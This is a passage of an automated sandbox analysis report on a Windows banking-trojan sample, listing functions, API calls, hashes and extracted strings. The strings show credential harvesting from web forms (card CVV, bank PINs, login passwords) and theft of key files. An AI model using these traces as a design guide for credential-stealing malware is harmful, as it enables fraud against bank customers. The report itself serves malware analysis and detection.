                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: bindclosesockethtonslistensetsockoptsocket
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 4126956815-0
                                                                                                                                                                                                                      • Opcode ID: 4acf5ccb61f6dd57f243a37ae54dc671d9e5e5ca15fa731531573979003fc2bc
                                                                                                                                                                                                                      • Instruction ID: 8bfdcd374b24db9b7386e2b803acccfe0e176af90a52c3033028a160b662b1d0
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4acf5ccb61f6dd57f243a37ae54dc671d9e5e5ca15fa731531573979003fc2bc
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E811C632B40325ABD710DB64DC09B9F77A9BF09712F804655FF04E62C1D7B0AA149BA1
                                                                                                                                                                                                                      Function 02712B40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103), ref: 02712B5E
                                                                                                                                                                                                                      • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02712B83
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,\clmain.exe), ref: 02712B95
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: FileModuleNamememset
                                                                                                                                                                                                                      • String ID: \clmain.exe
                                                                                                                                                                                                                      • API String ID: 350293641-582869414
                                                                                                                                                                                                                      • Opcode ID: 8af36437ba30fbab99243eb41a317735c98a4be04d3105e34a25a421f5ec29c4
                                                                                                                                                                                                                      • Instruction ID: 3bcf153153d7f2481d4897da6ef475ffe5d81e1850fd73c91b1e6c6afa06021d
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8af36437ba30fbab99243eb41a317735c98a4be04d3105e34a25a421f5ec29c4
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3DF027B1A842086BEB64DA78AC4ABE533A89B18706F4006D5BB4DC10C0F7F005D48B81
                                                                                                                                                                                                                      Function 0271E0FB Relevance: 6.1, APIs: 4, Instructions: 102COMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 0271E119
                                                                                                                                                                                                                      • GetDriveTypeA.KERNEL32(?), ref: 0271E15E
                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0271E1D2
                                                                                                                                                                                                                      • free.MSVCRT(00000000), ref: 0271E1FF
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Drive$ErrorLogicalModeStringsTypefree
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2496910992-0
                                                                                                                                                                                                                      • Opcode ID: 6aebd0ee040ae59e39d125d936ee5bd8c33f304e00a2c2d6b225103982894a71
                                                                                                                                                                                                                      • Instruction ID: 4b7767a522db1605a3b7ee2c892f3cec36394f003d2d3dc9384f76b3aedc28d6
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6aebd0ee040ae59e39d125d936ee5bd8c33f304e00a2c2d6b225103982894a71
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3E314D7270025E8FDB10CFACE8846FEBB65EF46311F1405A6ED4587241E7718616DBE2
                                                                                                                                                                                                                      Function 026F9ED0 Relevance: 6.0, APIs: 4, Instructions: 50windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • IsWindow.USER32(?,?,?,?,026F9400,?,?), ref: 026F9EE8
                                                                                                                                                                                                                      • IsWindowVisible.USER32(?,?,?,?,026F9400,?,?), ref: 026F9EF3
                                                                                                                                                                                                                      • IsIconic.USER32(?,?,?,?,026F9400,?,?), ref: 026F9EFE
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindowLongA.USER32(026FCE3A,000000F0,75C0BCB0,75C0BCB0,00000000), ref: 026FE26B
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetLastActivePopup.USER32(026FCE3A,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCE3A,75C0BCB0), ref: 026FE279
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(?,00000005,00000001), ref: 026FE293
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,026FCE3A,75C0BCB0), ref: 026FE296
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindowInfo.USER32(00000000,?), ref: 026FE2AC
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(00000000,00000004), ref: 026FE2B5
                                                                                                                                                                                                                        • Part of subcall function 026FE250: GetWindow.USER32(00000000,00000003), ref: 026FE2EE
                                                                                                                                                                                                                      • GetLastActivePopup.USER32(?,?,?,?,026F9400,?,?), ref: 026F9F31
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$ActiveLastPopup$IconicInfoLongVisible
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3661365765-0
                                                                                                                                                                                                                      • Opcode ID: dc644024cbf3b648f8cec058ef110f7baef300c7c29bc8206bac305c52e24f9a
                                                                                                                                                                                                                      • Instruction ID: 331ce54a3d0e5ae312413309c93fa3ff52c3310c236b390022da002318ff131f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dc644024cbf3b648f8cec058ef110f7baef300c7c29bc8206bac305c52e24f9a
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8301A232307202578F906B799884F3B73ADAB99B5634A4429F701C3240EB74D4419B61
                                                                                                                                                                                                                      Function 026F4180 Relevance: 98.3, APIs: 42, Strings: 14, Instructions: 300memoryfilenetworkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000C10,00000000,00000000,74DF3490), ref: 026F419D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F41A0
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000C10), ref: 026F41B4
                                                                                                                                                                                                                      • GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 026F4224
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F4232
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F4235
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F4242
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F4245
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,00000BED), ref: 026F425D
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F4260
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,00000BED), ref: 026F4270
                                                                                                                                                                                                                      • GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 026F428A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F4297
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F429A
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F42AB
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F42AE
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000008,-000000A9), ref: 026F42DA
                                                                                                                                                                                                                      • HeapAlloc.KERNEL32(00000000), ref: 026F42DD
                                                                                                                                                                                                                      • memset.MSVCRT(00000000,00000000,-000000A9), ref: 026F42F4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,00000000,?), ref: 026F4346
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F434D
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F435E
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F4365
                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 026F439D
                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 026F43B0
                                                                                                                                                                                                                      • _snprintf.MSVCRT(?,?,TCP%s:%d%s:%d%s,00000000), ref: 026F43C8
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F43DA
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F43DD
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F43EA
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F43ED
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026F43F9
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F43FC
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 026F4409
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F440C
                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(026F58F7,00000000,00000000,00000001), ref: 026F446E
                                                                                                                                                                                                                      • LockFile.KERNEL32(026F58F7,00000000,00000000,00000001,00000000), ref: 026F447E
                                                                                                                                                                                                                      • WriteFile.KERNEL32(026F58F7,00000000,00000001,00000000,00000000), ref: 026F448D
                                                                                                                                                                                                                      • UnlockFile.KERNEL32(026F58F7,026F58F7,00000000,00000001,00000000), ref: 026F449D
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F44AC
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000), ref: 026F44AF
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000), ref: 026F44BC
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000), ref: 026F44BF
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$FreeValidate$File$Allocmemset$Tablehtons$LockPointerUnlockWrite_snprintf
                                                                                                                                                                                                                      • String ID: CLOSED$CLOSE_WAIT$CLOSING$DELETE_TCB$ESTAB$FIN_WAIT1$FIN_WAIT2$LAST_ACK$LISTEN$SYN_RCVD$SYN_SENT$TCP%s:%d%s:%d%s$TIME_WAIT$netstat{ProtoLocal addressRemote addressState
                                                                                                                                                                                                                      • API String ID: 2439004899-2402783461
                                                                                                                                                                                                                      • Opcode ID: 77a381dded15cfda02c62817553320bb3f4d49380d0eb213b5c8954c42bffd93
                                                                                                                                                                                                                      • Instruction ID: d7518a59bbdc2fa87c83776d16765c74e4823e0788adbcc4b862cff006483dee
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 77a381dded15cfda02c62817553320bb3f4d49380d0eb213b5c8954c42bffd93
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1BA1D5B1E40214ABDB119FB59C8CFAF7F78EF89712F558558FA05AB281DB719400CBA0
                                                                                                                                                                                                                      Function 02710810 Relevance: 93.1, APIs: 46, Strings: 7, Instructions: 383memorysleepstringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT ref: 02710830
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee24ba), ref: 02710857
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 02710895
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 0271089F
                                                                                                                                                                                                                      • #680.SHELL32 ref: 027108A7
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 027108B9
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 027108C0
                                                                                                                                                                                                                      • SetFileAttributesA.KERNEL32(?,00000000), ref: 027108FC
                                                                                                                                                                                                                      • DeleteFileA.KERNEL32(?), ref: 0271090A
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee24ba,?,?), ref: 02710945
                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(?,00000000), ref: 0271097F
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 02710989
                                                                                                                                                                                                                      • #680.SHELL32 ref: 02710991
                                                                                                                                                                                                                      • PathMakeSystemFolderA.SHLWAPI(?), ref: 027109A0
                                                                                                                                                                                                                      • SetLastError.KERNEL32(00000000), ref: 027109A7
                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(?), ref: 027109D5
                                                                                                                                                                                                                      • SetCurrentDirectoryA.KERNEL32(?), ref: 02710A00
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000208), ref: 02710A4B
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,secret.key,00000104,?,?,?), ref: 02710A65
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000208,?,?,secret.key,00000002,?,?,?), ref: 02710AA8
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,secret.key,00000104,?,secret.key,00000002,?,?,?), ref: 02710AC2
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,?,?,0273A5BC,00000002,?,?,?), ref: 02710AE7
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000208), ref: 02710B2A
                                                                                                                                                                                                                      • lstrcpynA.KERNEL32(?,pubkeys.key,00000104,?,secret.key,00000002,?,?,?), ref: 02710B44
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,?,?,pubkeys.key,00000002,?,?,?), ref: 02710B69
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02710BA1
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?), ref: 02710BA4
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02710BB0
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?), ref: 02710BB3
                                                                                                                                                                                                                      • CreateMutexA.KERNEL32(00000000,00000000,Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14},?,?,?), ref: 02710BC0
                                                                                                                                                                                                                      • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,?,00000000), ref: 02710BE6
                                                                                                                                                                                                                      • GetSecurityDescriptorSacl.ADVAPI32(?,?,?,?,?,?,?), ref: 02710C08
                                                                                                                                                                                                                      • SetNamedSecurityInfoA.ADVAPI32(Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14},00000006,00000010,00000000,00000000,00000000,?), ref: 02710C23
                                                                                                                                                                                                                      • LocalFree.KERNEL32(?,?,?,?), ref: 02710C2E
                                                                                                                                                                                                                      • Sleep.KERNEL32(000003E8,?,?,?), ref: 02710C39
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?), ref: 02710C40
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,?,?,?), ref: 02710C50
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02710C62
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,pubkeys.key,00000002,?,?,?), ref: 02710C8F
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?), ref: 02710C92
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,?,?,?,?), ref: 02710C9F
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?), ref: 02710CA2
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,pubkeys.key,00000002,?,?,?), ref: 02710CAB
                                                                                                                                                                                                                      • HeapValidate.KERNEL32(00000000,?,?,?), ref: 02710CAE
                                                                                                                                                                                                                      • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?), ref: 02710CBF
                                                                                                                                                                                                                      • HeapFree.KERNEL32(00000000,?,?,?), ref: 02710CC2
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Heap$Process$ErrorFreeLastPathSecuritymemset$CreateDescriptorDirectoryFileSleepValidatelstrcpyn$#680AttributesBackslashFolderHandleMakeMutexSystem$CloseConvertCurrentDeleteInfoInformationLocalNamedReleaseSaclString
                                                                                                                                                                                                                      • String ID: 26ee24ba$Local\{AAF799BF-8989-4fe1-9A0D-95CD39DC0A14}$S:(ML;;NRNWNX;;;LW)$keys.zip$path.txt$pubkeys.key$secret.key
                                                                                                                                                                                                                      • API String ID: 3803599744-3587579948
                                                                                                                                                                                                                      • Opcode ID: d0623b31f203fbfe6f537d52d9169f12e71fed596dc7387a2622dfc03131a2e7
                                                                                                                                                                                                                      • Instruction ID: 9916cf0fc38b8deeceb2968876b956b18493e5f59c1da20b9f07f2d017b7e6e3
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d0623b31f203fbfe6f537d52d9169f12e71fed596dc7387a2622dfc03131a2e7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: FED124B1945341AFE722DF389C59FAB7BE8BF89705F048918F98587140DB70D548CBA1
                                                                                                                                                                                                                      Function 027089D0 Relevance: 91.4, APIs: 37, Strings: 15, Instructions: 400threadCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000103,?), ref: 027089F2
                                                                                                                                                                                                                      • IsBadReadPtr.KERNEL32(?,?,?,?), ref: 02708A0F
                                                                                                                                                                                                                        • Part of subcall function 02704170: GetProcessHeap.KERNEL32(00000008,00000016,75A8EA50,02749B58,02714A9E), ref: 02704181
                                                                                                                                                                                                                        • Part of subcall function 02704170: HeapAlloc.KERNEL32(00000000), ref: 02704188
                                                                                                                                                                                                                        • Part of subcall function 02704170: memset.MSVCRT(00000000,00000000,00000016), ref: 02704198
                                                                                                                                                                                                                      • memcpy.MSVCRT(00000000,?,?,?,?), ref: 02708A35
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: StrStrIA.SHLWAPI(00000000,&cvv=,00000000,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E433
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: StrStrIA.SHLWAPI(00000000,&cvv=&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E441
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: StrStrIA.SHLWAPI(00000000,&cvv2=,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E44D
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: StrStrIA.SHLWAPI(00000000,&cvv2=&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E45B
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: StrStrIA.SHLWAPI(00000000,&cvc=,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E467
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: StrStrIA.SHLWAPI(00000000,&cvc=&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E479
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: strstr.MSVCRT(00000000,&domain=letitbit.net&,?,00000000,00000001,00000000,?,?,?,02708A44,?,?,?,?,?), ref: 0270E48F
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: strstr.MSVCRT(00000000,02739A24,?,02708A44,?,?,?,?,?), ref: 0270E4A2
                                                                                                                                                                                                                        • Part of subcall function 0270E3F0: GetProcessHeap.KERNEL32(00000008,-00000011,?,?,?,?,?,?,?,?,?), ref: 0270E50B
                                                                                                                                                                                                                        • Part of subcall function 027144A0: strstr.MSVCRT(00000000,login.yota.ru,?,00000000), ref: 027144DC
                                                                                                                                                                                                                        • Part of subcall function 027144A0: strstr.MSVCRT(00000000,IDToken1=), ref: 027144EF
                                                                                                                                                                                                                        • Part of subcall function 027144A0: strstr.MSVCRT(00000000,IDToken2=), ref: 02714502
                                                                                                                                                                                                                        • Part of subcall function 027144A0: PathAddBackslashA.SHLWAPI(0274D2A0), ref: 02714528
                                                                                                                                                                                                                        • Part of subcall function 027144A0: PathAddBackslashA.SHLWAPI(0274D2A0), ref: 02714562
                                                                                                                                                                                                                        • Part of subcall function 027144A0: CreateDirectoryA.KERNEL32(?,00000000,?), ref: 027145CD
                                                                                                                                                                                                                        • Part of subcall function 027144A0: GetLastError.KERNEL32 ref: 027145D7
                                                                                                                                                                                                                        • Part of subcall function 02711A60: strstr.MSVCRT(00000000,&txtSubId=,00000000,?), ref: 02711A83
                                                                                                                                                                                                                        • Part of subcall function 02711A60: strstr.MSVCRT(00000000,&txtPin=), ref: 02711A92
                                                                                                                                                                                                                        • Part of subcall function 02711A60: strstr.MSVCRT(00000000,ebank.laiki.com), ref: 02711AA1
                                                                                                                                                                                                                        • Part of subcall function 02711A60: PathAddBackslashA.SHLWAPI(0274D4A8), ref: 02711ACD
                                                                                                                                                                                                                        • Part of subcall function 02711A60: PathAddBackslashA.SHLWAPI(0274D4A8), ref: 02711B03
                                                                                                                                                                                                                        • Part of subcall function 02711A60: CreateDirectoryA.KERNEL32(?,00000000,?), ref: 02711B6C
                                                                                                                                                                                                                        • Part of subcall function 02711A60: GetLastError.KERNEL32 ref: 02711B76
                                                                                                                                                                                                                        • Part of subcall function 02711A60: #680.SHELL32 ref: 02711B7E
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,j_username=,00000000,00000000,?,?,?,?,?), ref: 02708A5C
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,j_password=,?,?,?,?,?), ref: 02708A6C
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE250A,?,?,?,?,?), ref: 02708A9D
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(00000000,26EE250A,?,?,?,?,?), ref: 02708AAB
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(00000000,?,?,?,?,?), ref: 02708AB8
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE250A,?,?,?,?,?), ref: 02708ABF
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,command=auth_loginByPassword&back_command=&back_custom1=&,?,?,?,?,?), ref: 02708B2E
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2538,?,?,?,?,?), ref: 02708B5D
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(00000000,26ee2538,?,?,?,?,?), ref: 02708B6B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(00000000,?,?,?,?,?), ref: 02708B78
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2538,?,?,?,?,?), ref: 02708B7F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,edClientLogin=,?,?,?,?,?), ref: 02708BF3
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,edUserLogin=,?,?,?,?,?), ref: 02708C03
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,edPassword=,?,?,?,?,?), ref: 02708C13
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE25DE,?,?,?,?,?), ref: 02708C3D
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(00000000,26EE25DE,?,?,?,?,?), ref: 02708C4B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(00000000,?,?,?,?,?), ref: 02708C58
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26EE25DE,?,?,?,?,?), ref: 02708C5F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,&LOGIN_AUTHORIZATION_CODE=,?,?,?,?,?), ref: 02708CCF
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2404,?,?,?,?,?), ref: 02708CFD
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(00000000,26ee2404,?,?,?,?,?), ref: 02708D0B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(00000000,?,?,?,?,?), ref: 02708D18
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2404,?,?,?,?,?), ref: 02708D1F
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,action=auth&np=&login=,?,?,?,?,?), ref: 02708D93
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2482,?,?,?,?,?), ref: 02708DBD
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(00000000,26ee2482,?,?,?,?,?), ref: 02708DCB
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(26ee2482,?,?,?,?,?), ref: 02708DD6
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(00000000,CryptoPluginId=AGAVA&Sign,?,?,?,?,?), ref: 02708E43
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274CF94,?,?,?,?,?), ref: 02708E6D
                                                                                                                                                                                                                      • PathAppendA.SHLWAPI(00000000,0274CF94,?,?,?,?,?), ref: 02708E7B
                                                                                                                                                                                                                      • PathAddBackslashA.SHLWAPI(0274CF94,?,?,?,?,?), ref: 02708E86
                                                                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,02713570,00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 02708EE8
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,?,?,?,?,?,?), ref: 02708F00
